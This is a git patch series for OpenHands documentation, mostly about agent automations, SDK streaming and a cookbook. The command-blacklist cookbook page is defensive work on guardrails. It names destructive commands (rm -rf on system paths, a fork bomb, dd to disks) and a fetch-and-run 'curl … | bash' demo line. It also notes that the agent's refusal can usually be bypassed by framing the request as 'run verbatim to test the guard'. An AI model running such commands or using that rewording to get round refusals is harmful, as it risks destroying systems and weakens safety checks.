+For every automation, add your `owner/repo`, set `Check frequency` to `*/5 * * * *`, and enter the matching **GitHub token secret name**. Select the matching agent profile for triage, development, and review. The watchdog is deterministic and starts no agent, so leave its profile empty. Select `Continue`, inspect the summary, then `Confirm and create`. New automations start enabled; turn them off until all four are configured.
+
+
+  
+    Select `factory-triage`. It prioritizes issues, checks dependencies, and establishes acceptance criteria before applying `ready-for-dev`.
+
+    Triage automation confirmation
+  
+  
+    Select `factory-developer`. Set `Trigger label` to `ready-for-dev`, `Branch prefix` to `factory/issue`, and `Pull request mode` to `Ready for review`.
+
+    Developer automation confirmation with the readiness label and branch prefix
+  
+  
+    Select `factory-reviewer`, keep `Trigger label` as `openhands-review`, and choose the desired review tone. The reviewer checks out the exact PR head, follows the repository's guidance, runs its relevant tests, posts a readable native review, and records exact-head review and test statuses.
+
+    Reviewer automation summary with the trigger label, review tone, and reviewer token secret
+  
+  
+    Leave the agent profile empty, select the developer secret, and use the same `factory/issue` prefix. It merges only a current branch with passing independent acceptance statuses and passing Actions runs when present.
+
+    Watchdog confirmation using the developer token and matching branch prefix
+  
+
+
+## Start and Observe
+
+Turn on all four automations. Open a small GitHub issue with observable acceptance criteria. Use `Run now` to start triage immediately, or wait for the schedule.
+
+In `Automate`, open each automation to inspect its selected profile and activity. Follow the issue's development PR, readable review and exact-head test statuses, and final merge. Failed checks lead to revisions and fresh acceptance of the changed commit. Use the automation toggle to pause new scheduling while inspecting a problem.
+
+The walkthrough targets [neubig/airbnb-clone](https://github.com/neubig/airbnb-clone). In the recorded current-head deployment, six issues were triaged and six developers ran concurrently in Docker. Reviewer agents tested and accepted [PR #87](https://github.com/neubig/airbnb-clone/pull/87) through [PR #92](https://github.com/neubig/airbnb-clone/pull/92), and the watchdog merged all six. The final two reviews resumed after a graceful Canvas restart; when earlier merges made an accepted branch stale, the watchdog updated it and waited for a fresh exact-head review before merging. The earlier factory completed [neubig/box-clone](https://github.com/neubig/box-clone) through the same automated development, review, testing, and acceptance path.
+
+Canvas automation dashboard with all four automations active, no failures, and recent factory activity

From c397fc630f1b606a0a4fd66c5ab524162f14a844 Mon Sep 17 00:00:00 2001
From: "openhands-release-bot[bot]"
 <290150379+openhands-release-bot[bot]@users.noreply.github.com>
Date: Mon, 5 Oct 2026 17:36:43 -0400
Subject: [PATCH 49/97] docs(cookbook): sync from OpenHands/enterprise-cookbook
 (#884)

Syncs the Cookbook tab with OpenHands/enterprise-cookbook@8d2ab8c5c817c66e70d4b9a587d3289f9d4cda05.

Every file under `cookbook/` and the Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync.

_Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/37353022245))._

Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com>
Co-authored-by: John-Mason P. Shackelford 
---
 cookbook/command-blacklist.mdx | 242 +++++++++++++++++++++++++++++++++
 cookbook/conversation-tags.mdx | 135 ++++++++++++++++++
 cookbook/index.mdx             |  30 ++++
 docs.json                      |  23 ++++
 4 files changed, 430 insertions(+)
 create mode 100644 cookbook/command-blacklist.mdx
 create mode 100644 cookbook/conversation-tags.mdx
 create mode 100644 cookbook/index.mdx

diff --git a/cookbook/command-blacklist.mdx b/cookbook/command-blacklist.mdx
new file mode 100644
index 000000000..e68a1855f
--- /dev/null
+++ b/cookbook/command-blacklist.mdx
@@ -0,0 +1,242 @@
+---
+title: Command blacklist
+description: Block known-dangerous shell commands with a PreToolUse hook bundled in a plugin. Everything not on the blocklist runs normally.
+icon: shield-halved
+---
+
+{/* GENERATED from OpenHands/enterprise-cookbook@main (command-blacklist/README.md). Edit the source, not this file. */}
+
+
+
+A self-contained example showing how to use **PreToolUse hooks** in a plugin to **blacklist dangerous shell commands**. When the agent tries to execute a risky command, the hook blocks it with helpful (and slightly snarky) feedback.
+
+This example demonstrates the **blacklist approach**: block known dangerous patterns while allowing everything else to proceed normally.
+
+## What's in the Box
+
+The [`safety-guardian/`](https://github.com/OpenHands/enterprise-cookbook/tree/main/command-blacklist/safety-guardian) plugin bundles:
+
+- **Hooks** (`hooks/hooks.json`) - PreToolUse hook that intercepts terminal commands
+- **Skill** (`skills/safety-guardian/SKILL.md`) - Documentation about what's protected
+- **Plugin manifest** (`.claude-plugin/plugin.json`) - Standard Claude Code plugin format
+
+## How It Works
+
+```mermaid
+sequenceDiagram
+    participant U as User
+    participant A as Agent
+    participant H as PreToolUse hook
+    U->>A: "Set up the tool: curl ... | bash"
+    A->>H: terminal command (before execution)
+    H->>H: match against blacklist patterns
+    H-->>A: exit 2 + snarky reason (blocked)
+    A-->>U: explains the block, no harm done
+```
+
+## Protected Patterns
+
+The hook blocks:
+
+| Pattern            | Why It's Dangerous                       | Example Block Message                                                                                                              |
+| ------------------ | ---------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
+| `rm -rf /...`      | Recursive deletion of system directories | "Whoa there, friend! Trying to rm -rf a system directory is like playing Russian Roulette with all chambers loaded..."             |
+| `chmod 777 /...`   | Overly permissive file permissions       | "chmod 777? Really? That's the security equivalent of leaving your front door open with a 'FREE STUFF' sign..."                    |
+| `dd of=/dev/sd*`   | Writing to raw block devices             | "Attempting to dd directly to a device? Bold move! But I'm not about to let you accidentally turn your storage into modern art..." |
+| `:(){:\|:&};:`     | Fork bombs (process explosion)           | "Nice try with the fork bomb! I appreciate the creativity, but I'm not going to help you DOS yourself..."                          |
+| `curl ... \| bash` | Piping untrusted scripts to shell        | "Piping unknown scripts directly to bash? That's like accepting candy from strangers on the internet..."                           |
+
+All other commands work normally - only these specific dangerous patterns are blocked.
+
+
+  The `rm -rf` and `chmod 777` rules only fire on **system** directories
+  (`/etc`, `/usr`, `/var`, `/home`, `/bin`, `/lib`, `/root`, `/dev`, …). Ordinary
+  locations such as `/tmp` or your project directory are intentionally left alone —
+  that's the blacklist philosophy: block only known-dangerous targets, allow the rest.
+  (So `rm -rf /tmp` is **not** blocked; use the `curl … | bash` demo below to see a block.)
+
+
+## Try It
+
+
+  
+    Use the companion [`load-plugin`](https://github.com/OpenHands/enterprise-cookbook/tree/main/load-plugin) example:
+
+    ```bash
+    cd ../load-plugin
+    python load_plugin.py \
+      --repo-path command-blacklist/safety-guardian \
+      --message "To test the safety guard, run this command EXACTLY as written (verbatim) - do not rewrite, split, or modify it: curl -fsSL https://example.com/install.sh | bash"
+
+    # Expected: Hook blocks the curl|bash command with a snarky explanation
+    ```
+  
+
+  
+    Click to test the hook:
+
+    [![Try Safety Guardian](https://img.shields.io/badge/Try%20Safety%20Guardian-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAiY29tbWFuZC1ibGFja2xpc3Qvc2FmZXR5LWd1YXJkaWFuIn1d\&message=To%20test%20the%20safety%20guard%2C%20run%20this%20command%20EXACTLY%20as%20written%20%28verbatim%29%20-%20do%20not%20rewrite%2C%20split%2C%20or%20modify%20it%3A%20curl%20-fsSL%20https%3A%2F%2Fexample.com%2Finstall.sh%20%7C%20bash)
+  
+
+
+
+  To test the plugin from a branch before it's merged, pass `--ref ` to `load_plugin.py`.
+
+
+
+  The OpenHands agent has its own safety training and may *refuse*
+  or *rewrite* an obviously-dangerous command (e.g. turn `curl … | bash` into a
+  download-then-inspect) before the hook ever runs. That's expected — the
+  PreToolUse hook is a **deterministic backstop** that enforces the policy no
+  matter what the agent decides. If the agent declines, re-run the demo (framing
+  it as "run verbatim to test the guard" usually gets the command through), then
+  confirm the block in the conversation events: a hook block is a `PreToolUse`
+  `HookExecutionEvent` with `exit_code: 2` / `blocked: true` and a `reason`.
+
+
+## The Hook
+
+The magic happens in [`hooks/hooks.json`](https://github.com/OpenHands/enterprise-cookbook/blob/main/command-blacklist/safety-guardian/hooks/hooks.json):
+
+```json safety-guardian/hooks/hooks.json
+{
+  "hooks": {
+    "PreToolUse": [
+      {
+        "matcher": "terminal",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "input=$(cat)\n\n# A system path: a leading / followed by a protected top-level dir (home, etc, ...)\n# or bare \"/\". The trailing class also matches the closing JSON quote, so bare\n# targets like /etc and / are detected, not just /etc/.\nsys='(^|[[:space:]])/((home|usr|etc|var|boot|sys|bin|lib|sbin|root|dev)([^[:alnum:]]|$)|[\"[:space:]]|$)'\n\n# rm -rf (any order of r/f flags) targeting a system directory\nif echo \"$input\" | grep -qE \"rm[[:space:]]+-[^[:space:]]*r[^[:space:]]*f|rm[[:space:]]+-[^[:space:]]*f[^[:space:]]*r\" && echo \"$input\" | grep -qE \"$sys\"; then\ncat <
+  The hook
+  runner executes `command` through `/bin/sh -c`, so wrapping the body in
+  `bash -c '...'` makes any apostrophe in a message (`I've`, `that's`) terminate
+  the quote and break the script. We also can't point `command` at a bundled
+  `hooks/scripts/*.sh`: when this runs as a **plugin**, hooks execute with the
+  working directory set to the agent's workspace (not the plugin directory) and
+  there is no plugin-root path variable, so a relative script path won't resolve.
+  Inlining a plain POSIX-sh script avoids both traps.
+
+
+## Blacklist vs. Whitelist
+
+This example uses a **blacklist** approach:
+
+- ✅ **Pro:** Most commands work normally
+- ✅ **Pro:** Easier to get started
+- ❌ **Con:** Can't catch every dangerous pattern
+- ❌ **Con:** Clever variations might slip through
+
+For high-security scenarios, see the companion [`command-whitelist`](https://github.com/OpenHands/enterprise-cookbook/tree/main/command-whitelist) example that shows the **whitelist** approach (only allow explicitly approved commands).
+
+## Hook Types
+
+Hooks can intercept different lifecycle events:
+
+| Hook             | When It Runs                   | Can Block?     | Use Case                          |
+| ---------------- | ------------------------------ | -------------- | --------------------------------- |
+| **PreToolUse**   | Before tool execution          | ✅ Yes (exit 2) | Command validation (this example) |
+| PostToolUse      | After tool execution           | ❌ No           | Logging, metrics                  |
+| UserPromptSubmit | Before processing user message | ✅ Yes          | Content filtering                 |
+| Stop             | When agent tries to finish     | ✅ Yes          | Require artifacts                 |
+| SessionStart     | When conversation starts       | ❌ No           | Setup, logging                    |
+| SessionEnd       | When conversation ends         | ❌ No           | Cleanup                           |
+
+## Plugin Structure
+
+```text
+safety-guardian/
+├── .claude-plugin/
+│   └── plugin.json          # Plugin metadata
+├── hooks/
+│   └── hooks.json           # PreToolUse hook definition
+└── skills/
+    └── safety-guardian/
+        └── SKILL.md         # Documentation (auto-loaded)
+```
+
+This follows the **Claude Code plugin format**, compatible with:
+
+- OpenHands Cloud plugin launcher
+- Claude Desktop plugin marketplace
+- Any system supporting the `.claude-plugin` spec
+
+## Related
+
+
+  
+    Full hook documentation
+  
+
+  
+    How plugins work
+  
+
+  
+    Programmatic plugin loading
+  
+
+  
+    No-code plugin launcher
+  
+
+  
+    Whitelist approach (opposite strategy)
+  
+
+
+## Real-World Use Cases
+
+- **Onboarding agents** - Prevent trainees from dangerous operations
+- **Shared environments** - Protect against accidental damage
+- **Compliance** - Enforce security policies automatically
+- **Education** - Teach safe command practices
+- **Testing** - Prevent test scripts from harming the host
+
+## Extending the Example
+
+Want to add your own patterns? Edit `hooks/hooks.json` and add another `if` block:
+
+```bash
+# Block npm install without package-lock.json
+if echo "$input" | grep -q "npm install" && ! [ -f package-lock.json ]; then
+  cat << EOF
+{
+  "decision": "deny",
+  "reason": "📦 Hold up! Running npm install without a lock file? That's asking for dependency chaos. Please commit a package-lock.json first."
+}
+EOF
+  exit 2
+fi
+```
+
+The inline bash makes it easy to iterate without rebuilding images or restarting servers.
diff --git a/cookbook/conversation-tags.mdx b/cookbook/conversation-tags.mdx
new file mode 100644
index 000000000..c6868c431
--- /dev/null
+++ b/cookbook/conversation-tags.mdx
@@ -0,0 +1,135 @@
+---
+title: Conversation tags
+description: Attach key-value metadata to a conversation with tags and read it back from AppConversation.tags.
+icon: tags
+---
+
+{/* GENERATED from OpenHands/enterprise-cookbook@main (conversation-tags/README.md). Edit the source, not this file. */}
+
+
+
+Stash your own key-value metadata on an OpenHands conversation — for example an
+external `environment_url` or `environment_conversation_id` — and read it back
+later from your own tooling. Conversations expose a free-form **`tags`** map for
+exactly this.
+
+This is the supported replacement for adding a bespoke field (e.g. a custom
+`environment_url` column) to the conversation model: use `tags` instead.
+
+## The two-server split
+
+OpenHands has a **Cloud app server** (manages accounts, sandboxes, and
+conversations) and, for each sandbox, an **agent server** (the runtime that owns
+the conversation). Tags live on the agent-side conversation, and their values
+surface on the Cloud's `AppConversation.tags` field.
+
+| Step                    | Server    | Call                                              |
+| ----------------------- | --------- | ------------------------------------------------- |
+| Start a conversation    | Cloud     | `POST /api/v1/app-conversations`                  |
+| Resolve agent URL + key | Cloud     | `GET /api/v1/app-conversations?ids=`          |
+| **Write tags**          | **Agent** | `PATCH {conversation_url}` with `{"tags": {...}}` |
+| Read tags back          | Cloud     | `GET /api/v1/app-conversations?ids=` → `tags` |
+
+Auth uses `X-Session-API-Key` on both servers, but with **different keys**:
+
+- Cloud app server → your `OH_API_KEY`
+- Agent server → the per-conversation `session_api_key` returned by the Cloud
+
+`conversation_url` from the Cloud is already the full agent resource URL
+`https:///api/conversations/`, so you `PATCH` it directly.
+
+**Consistency:** the agent server is authoritative and reflects a `PATCH`
+immediately (`GET {conversation_url}` → `tags`). The Cloud's
+`AppConversation.tags` view is **eventually consistent** — it typically catches
+up within a few seconds — so this example confirms the write on the agent server
+and then *polls* the Cloud read instead of reading once.
+
+> Why not set tags on the Cloud create call? The Cloud
+> `POST/PATCH /api/v1/app-conversations` payloads do not expose `tags` today —
+> the agent server is the authoritative place to write them, and the Cloud
+> reflects the result. The agent `POST /api/conversations` also accepts `tags`
+> at creation time if you provision the sandbox yourself (see
+> [`clone-and-attach`](https://github.com/OpenHands/enterprise-cookbook/tree/main/clone-and-attach)).
+
+## Tag rules
+
+The agent server enforces:
+
+- **keys** must be **lowercase alphanumeric** — no `_` or `-`
+  (use `environmenturl`, not `environment_url`; an invalid key is rejected)
+- **values** are arbitrary strings, **≤ 256 characters**
+- `PATCH` **replaces all** tags — so this example does a read-modify-write to
+  merge instead of clobbering existing tags
+
+Need to store something structured or longer than 256 chars? Put a JSON string
+into a single tag value (within the limit), or split across multiple keys.
+
+## Run it
+
+```bash
+export OH_API_KEY=...        # your https://app.all-hands.dev API key
+pip install requests
+
+# Zero-config: starts a conversation, sets two demo tags, reads them back,
+# then deletes the conversation + sandbox.
+python tag_conversation.py
+```
+
+Sample output:
+
+```text
+=== start conversation ===
+  start-task status: STARTING_CONVERSATION
+  start-task status: READY
+conversation: b07894c6643c453e9091414056ba4828
+  sandbox status: RUNNING
+agent conversation_url: https://qplbjkyptdumixsu.prod-runtime.all-hands.dev/api/conversations/b07894c6643c453e9091414056ba4828
+
+=== set tags (agent server) ===
+  existing tags: {}
+  setting tags:  {'environmenturl': 'https://env.example.com/session/abc123', 'environmentconversationid': 'ext-0001'}
+  agent tags (authoritative): {'environmenturl': 'https://env.example.com/session/abc123', 'environmentconversationid': 'ext-0001'}
+
+=== read tags back (cloud server, eventually consistent) ===
+  AppConversation.tags: {'environmenturl': 'https://env.example.com/session/abc123', 'environmentconversationid': 'ext-0001'}
+
+round-trip OK: True
+
+=== cleanup ===
+  deleted conversation b07894c6643c453e9091414056ba4828
+  deleted sandbox 3NjFZz5JDyIVUdvxNsXi0R
+```
+
+## Set your own tags
+
+Pass `--tag KEY=VALUE` (repeatable), and `--keep` to leave the conversation open
+so you can inspect the tags in the UI:
+
+```bash
+python tag_conversation.py \
+    --tag environmenturl=https://env.example.com/abc \
+    --tag environmentconversationid=ext-42 \
+    --keep
+```
+
+| Flag             | Env var           | Default                     | Purpose                               |
+| ---------------- | ----------------- | --------------------------- | ------------------------------------- |
+| `--api-key`      | `OH_API_KEY`      | — (required)                | Cloud API key                         |
+| `--base-url`     | `OH_API_BASE`     | `https://app.all-hands.dev` | Cloud app server                      |
+| `--tag`          | —                 | two demo tags               | `KEY=VALUE`, repeatable               |
+| `--message`      | `INITIAL_MESSAGE` | a hello prompt              | First message to the agent            |
+| `--sandbox-id`   | `SANDBOX_ID`      | none                        | Reuse a RUNNING sandbox               |
+| `--keep`         | —                 | off                         | Don't delete the conversation/sandbox |
+| `--poll-timeout` | `POLL_TIMEOUT`    | `240`                       | Seconds to wait for readiness         |
+
+## API endpoints used
+
+| Endpoint                                         | Server | Purpose                                                    |
+| ------------------------------------------------ | ------ | ---------------------------------------------------------- |
+| `POST /api/v1/app-conversations`                 | Cloud  | Start a conversation                                       |
+| `GET /api/v1/app-conversations/start-tasks?ids=` | Cloud  | Poll for the conversation id                               |
+| `GET /api/v1/app-conversations?ids=`             | Cloud  | Resolve `conversation_url`, `session_api_key`, read `tags` |
+| `GET {conversation_url}`                         | Agent  | Read current tags before merging                           |
+| `PATCH {conversation_url}`                       | Agent  | Set the (merged) tags                                      |
+| `DELETE /api/v1/app-conversations/{id}`          | Cloud  | Clean up the conversation                                  |
+| `DELETE /api/v1/sandboxes/{id}?sandbox_id=`      | Cloud  | Clean up the sandbox                                       |
diff --git a/cookbook/index.mdx b/cookbook/index.mdx
new file mode 100644
index 000000000..74ebb7351
--- /dev/null
+++ b/cookbook/index.mdx
@@ -0,0 +1,30 @@
+---
+title: Cookbook
+description: Runnable examples for building on the OpenHands API.
+---
+
+{/* GENERATED from OpenHands/enterprise-cookbook@main (cookbook.yaml). Edit the source, not this file. */}
+
+Standalone, runnable examples for the OpenHands API. Each page is generated from an
+example in [OpenHands/enterprise-cookbook](https://github.com/OpenHands/enterprise-cookbook),
+where you will find the full source.
+
+## Conversation monitoring & reacting
+
+Observe conversations and react to their state.
+
+
+  
+    Attach key-value metadata to a conversation with tags and read it back from AppConversation.tags.
+  
+
+
+## Guardrails
+
+Constrain what the agent can do with hooks.
+
+
+  
+    Block known-dangerous shell commands with a PreToolUse hook bundled in a plugin. Everything not on the blocklist runs normally.
+  
+
diff --git a/docs.json b/docs.json
index 1a0f2a7b8..560ae49e0 100644
--- a/docs.json
+++ b/docs.json
@@ -636,6 +636,29 @@
             ]
           }
         ]
+      },
+      {
+        "tab": "Cookbook",
+        "groups": [
+          {
+            "group": "Overview",
+            "pages": [
+              "cookbook/index"
+            ]
+          },
+          {
+            "group": "Conversation monitoring & reacting",
+            "pages": [
+              "cookbook/conversation-tags"
+            ]
+          },
+          {
+            "group": "Guardrails",
+            "pages": [
+              "cookbook/command-blacklist"
+            ]
+          }
+        ]
       }
     ]
   },

From 2ea54e60e28fc6006ce083e69f023cab6a97d5fe Mon Sep 17 00:00:00 2001
From: vedjoshi1 <66143395+vedjoshi1@users.noreply.github.com>
Date: Mon, 5 Oct 2026 17:52:03 -0700
Subject: [PATCH 50/97] docs(sdk): describe typed provider boundaries and
 Responses streaming (#891)

* docs(sdk): describe typed provider boundaries and response streaming

Co-authored-by: openhands 

* docs(sdk): include system message in Responses example

Co-authored-by: openhands 

---------

Co-authored-by: openhands 
---
 sdk/arch/llm.mdx             | 15 ++++++++++++
 sdk/guides/llm-streaming.mdx | 45 +++++++++++++++++++++++++++++++++---
 2 files changed, 57 insertions(+), 3 deletions(-)

diff --git a/sdk/arch/llm.mdx b/sdk/arch/llm.mdx
index 9e13d5121..80a6d92da 100644
--- a/sdk/arch/llm.mdx
+++ b/sdk/arch/llm.mdx
@@ -74,6 +74,21 @@ flowchart TB
 | **Configuration Loaders** | Config hydration | `load_from_env()`, `load_from_json()` |
 | **Telemetry** | Usage tracking | Token counts, costs, latency |
 
+### Provider Boundaries
+
+Private adapters normalize provider data before the core LLM pipeline consumes
+it. Stream events use typed contracts; message conversion accepts typed provider
+objects, generic LiteLLM objects, and dictionaries. It preserves tool-call IDs,
+Responses item IDs, and reasoning metadata used to replay conversation history.
+
+When `custom_tokenizer` is configured, the SDK attempts to load a chat-template
+tokenizer through the optional Transformers package. Token counts include the
+chat template and tool schemas when supported. Missing Transformers, tokenizer
+loading failures, or unsupported template results fall back to LiteLLM token
+counting. Transformers is not required to import or use the SDK.
+
+See [LLM Streaming](/sdk/guides/llm-streaming) for callback and completion behavior.
+
 ## Configuration
 
 See [`LLM` source](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/llm/llm.py) for complete list of supported fields.
diff --git a/sdk/guides/llm-streaming.mdx b/sdk/guides/llm-streaming.mdx
index 9253d3009..dccc863d5 100644
--- a/sdk/guides/llm-streaming.mdx
+++ b/sdk/guides/llm-streaming.mdx
@@ -5,9 +5,8 @@ description: Stream LLM responses token-by-token for real-time display and inter
 
 import RunExampleCode from "/sdk/shared-snippets/how-to-run-example.mdx";
 
-
-This is currently only supported for the chat completion endpoint.
-
+Streaming is supported by both Chat Completions (`completion()` / `acompletion()`)
+and Responses (`responses()` / `aresponses()`).
 
 > A ready-to-run example is available [here](#ready-to-run-example)!
 
@@ -76,6 +75,46 @@ complete response. This creates a more responsive user experience, especially fo
     
 
 
+## Responses Streaming
+
+For direct LLM calls, pass `stream=True` and an `on_token` callback. The call
+returns a complete `LLMResponse` after the stream finishes; callbacks receive
+`ModelResponseStream` chunks while it is being read.
+
+```python
+from openhands.sdk.llm import Message, TextContent
+from openhands.sdk.llm.streaming import ModelResponseStream
+
+def show_text(chunk: ModelResponseStream) -> None:
+    for choice in chunk.choices:
+        if choice.delta.content:
+            print(choice.delta.content, end="", flush=True)
+
+response = llm.responses(
+    [
+        Message(role="system", content=[TextContent(text="You are a helpful assistant.")]),
+        Message(role="user", content=[TextContent(text="Say hello")]),
+    ],
+    stream=True,
+    on_token=show_text,
+)
+```
+
+Use `await llm.aresponses(...)` for the asynchronous equivalent. It accepts
+synchronous or asynchronous callbacks.
+
+Without a callback, the SDK normally falls back to a non-streaming request.
+Endpoints that require streaming, such as ChatGPT subscription endpoints, still
+drain the stream and return the complete response without a callback.
+
+Instrumentation wrappers do not need to inherit from LiteLLM's stream classes.
+The SDK accepts synchronous iterables and asynchronous iterables on the async
+path, including synchronous wrappers returned to an async caller. A completed
+Responses event yielded by the stream remains valid if the wrapper's
+`completed_response` attribute is absent or `None`. A non-null wrapper completion
+takes precedence after the stream has been read. A stream with no completion
+raises `LLMNoResponseError` and follows the configured retry policy.
+
 ## Ready-to-run Example
 
 

From 605ea3eb834e8c01a10e50eb00d7e2598ba3afd2 Mon Sep 17 00:00:00 2001
From: "openhands-release-bot[bot]"
 <290150379+openhands-release-bot[bot]@users.noreply.github.com>
Date: Tue, 6 Oct 2026 06:53:19 -0400
Subject: [PATCH 51/97] docs(cookbook): sync from OpenHands/enterprise-cookbook
 (#902)

Syncs the Enterprise Cookbook tab with OpenHands/enterprise-cookbook@359e472bd82f15a0b847e1dd242c6fe5cc7116cc.

Every file under `cookbook/` and the Enterprise Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync.

_Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/37410117366))._

Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com>
---
 cookbook/index.mdx | 11 ++++++-----
 docs.json          |  2 +-
 2 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/cookbook/index.mdx b/cookbook/index.mdx
index 74ebb7351..7a062399b 100644
--- a/cookbook/index.mdx
+++ b/cookbook/index.mdx
@@ -1,13 +1,14 @@
 ---
-title: Cookbook
-description: Runnable examples for building on the OpenHands API.
+title: Enterprise Cookbook
+description: Runnable examples for building on the OpenHands API with OpenHands Cloud or OpenHands Enterprise.
 ---
 
 {/* GENERATED from OpenHands/enterprise-cookbook@main (cookbook.yaml). Edit the source, not this file. */}
 
-Standalone, runnable examples for the OpenHands API. Each page is generated from an
-example in [OpenHands/enterprise-cookbook](https://github.com/OpenHands/enterprise-cookbook),
-where you will find the full source.
+Standalone, runnable examples for teams building on the OpenHands API with OpenHands Cloud or
+OpenHands Enterprise. Each page is generated from an example in
+[OpenHands/enterprise-cookbook](https://github.com/OpenHands/enterprise-cookbook), where you
+will find the full source.
 
 ## Conversation monitoring & reacting
 
diff --git a/docs.json b/docs.json
index 560ae49e0..e1016e6e1 100644
--- a/docs.json
+++ b/docs.json
@@ -638,7 +638,7 @@
         ]
       },
       {
-        "tab": "Cookbook",
+        "tab": "Enterprise Cookbook",
         "groups": [
           {
             "group": "Overview",

From ef88d4e0b656e83cce4556bd761334e5ae8be2c4 Mon Sep 17 00:00:00 2001
From: Olivia Greene 
Date: Tue, 6 Oct 2026 12:40:26 -0400
Subject: [PATCH 52/97] feat: track Agent Canvas copy conversions (#901)

Co-authored-by: openhands 
---
 docs.json                           |  7 ++++
 openhands/linkedin-copy-tracking.js | 52 +++++++++++++++++++++++++++++
 2 files changed, 59 insertions(+)
 create mode 100644 openhands/linkedin-copy-tracking.js

diff --git a/docs.json b/docs.json
index e1016e6e1..b912f4716 100644
--- a/docs.json
+++ b/docs.json
@@ -721,6 +721,13 @@
         "src": "/openhands/canvas-handoff.js",
         "defer": "true"
       }
+    },
+    {
+      "tag": "script",
+      "attributes": {
+        "src": "/openhands/linkedin-copy-tracking.js",
+        "defer": "true"
+      }
     }
   ],
   "contextual": {
diff --git a/openhands/linkedin-copy-tracking.js b/openhands/linkedin-copy-tracking.js
new file mode 100644
index 000000000..abe8a789b
--- /dev/null
+++ b/openhands/linkedin-copy-tracking.js
@@ -0,0 +1,52 @@
+(function () {
+  var PRODUCTION_HOST = 'docs.openhands.dev';
+  var SETUP_PATH = '/openhands/usage/agent-canvas/setup';
+  var LINKEDIN_PARTNER_ID = '10045108';
+  var LINKEDIN_CONVERSION_ID = 29318740;
+  var initialized = false;
+
+  function isSetupPage() {
+    return (
+      window.location.hostname === PRODUCTION_HOST &&
+      window.location.pathname.replace(/\/+$/, '') === SETUP_PATH
+    );
+  }
+
+  function initializeLinkedIn() {
+    if (initialized) return;
+    initialized = true;
+
+    window._linkedin_data_partner_ids = window._linkedin_data_partner_ids || [];
+    if (window._linkedin_data_partner_ids.indexOf(LINKEDIN_PARTNER_ID) === -1) {
+      window._linkedin_data_partner_ids.push(LINKEDIN_PARTNER_ID);
+    }
+
+    if (!window.lintrk) {
+      window.lintrk = function (action, payload) {
+        window.lintrk.q.push([action, payload]);
+      };
+      window.lintrk.q = [];
+    }
+
+    if (!document.querySelector('script[src="https://snap.licdn.com/li.lms-analytics/insight.min.js"]')) {
+      var script = document.createElement('script');
+      script.async = true;
+      script.src = 'https://snap.licdn.com/li.lms-analytics/insight.min.js';
+      document.head.appendChild(script);
+    }
+  }
+
+  document.addEventListener('click', function (event) {
+    if (!isSetupPage() || !(event.target instanceof Element)) return;
+
+    var copyButton = event.target.closest(
+      'button[data-testid="copy-code-button"], button[aria-label^="Copy"]',
+    );
+    if (!copyButton) return;
+
+    initializeLinkedIn();
+    window.lintrk('track', { conversion_id: LINKEDIN_CONVERSION_ID });
+  });
+
+  if (isSetupPage()) initializeLinkedIn();
+})();

From 273592c739d44f778b1b9dbdb63f08be31c2453d Mon Sep 17 00:00:00 2001
From: OpenHands Bot 
Date: Tue, 6 Oct 2026 12:50:53 -0400
Subject: [PATCH 53/97] docs: update documentation for OpenHands v1.25.0 (#904)

* docs: update documentation for OpenHands v1.25.0

Add a v1.25.0 release-notes page and document the user-facing Agent Canvas
changes in their feature pages: Model Router settings, bulk-adding provider
models as LLM profiles, agent-profile system prompt and tool selection,
voice input and workspace file discovery in conversations, the Canvas App
Update action and manifest icon, and
automation templates on cloud backends.

Co-authored-by: openhands 

* Update language in model router steps and remove creator information that is cloud only

---------

Co-authored-by: openhands 
Co-authored-by: Devin 
---
 docs.json                                     |  1 +
 .../usage/agent-canvas/agent-profiles.mdx     | 19 ++++++++++
 .../usage/agent-canvas/canvas-extensions.mdx  | 11 +++++-
 .../usage/agent-canvas/conversations.mdx      | 32 +++++++++++++++++
 .../agent-canvas/customize-and-settings.mdx   |  2 +-
 openhands/usage/agent-canvas/llm-profiles.mdx | 16 +++++++++
 .../agent-canvas/model-configuration.mdx      | 20 +++++++++++
 .../agent-canvas/prebuilt-automations.mdx     |  2 +-
 .../agent-canvas/release-notes/v1.25.0.mdx    | 36 +++++++++++++++++++
 9 files changed, 136 insertions(+), 3 deletions(-)
 create mode 100644 openhands/usage/agent-canvas/release-notes/v1.25.0.mdx

diff --git a/docs.json b/docs.json
index b912f4716..8572c832f 100644
--- a/docs.json
+++ b/docs.json
@@ -323,6 +323,7 @@
           {
             "group": "Release Notes",
             "pages": [
+              "openhands/usage/agent-canvas/release-notes/v1.25.0",
               "openhands/usage/agent-canvas/release-notes/v1.24.0",
               "openhands/usage/agent-canvas/release-notes/v1.23.0",
               "openhands/usage/agent-canvas/release-notes/v1.22.0",
diff --git a/openhands/usage/agent-canvas/agent-profiles.mdx b/openhands/usage/agent-canvas/agent-profiles.mdx
index 6f421d491..f10160990 100644
--- a/openhands/usage/agent-canvas/agent-profiles.mdx
+++ b/openhands/usage/agent-canvas/agent-profiles.mdx
@@ -80,6 +80,25 @@ When no MCP server references are set, the profile has access to all configured
 
 See also [Model Context Protocol](/overview/model-context-protocol) for an overview of MCP support across OpenHands platforms.
 
+### Set a Profile's System Prompt
+
+The OpenHands profile editor includes a **System prompt** section. Choose one of three modes:
+
+- **OpenHands default** — Uses the built-in OpenHands instructions for coding, security, and tool use.
+- **Default + your instructions** — Adds your instructions after the built-in OpenHands instructions, which stay in place.
+- **Custom persona** — Replaces OpenHands' built-in persona and coding workflow. Memory, security and tool guidance, skills, repository instructions, and runtime context are still included.
+
+The default profile always uses the OpenHands system prompt. Create a named profile to customize it.
+
+### Choose a Profile's Tools
+
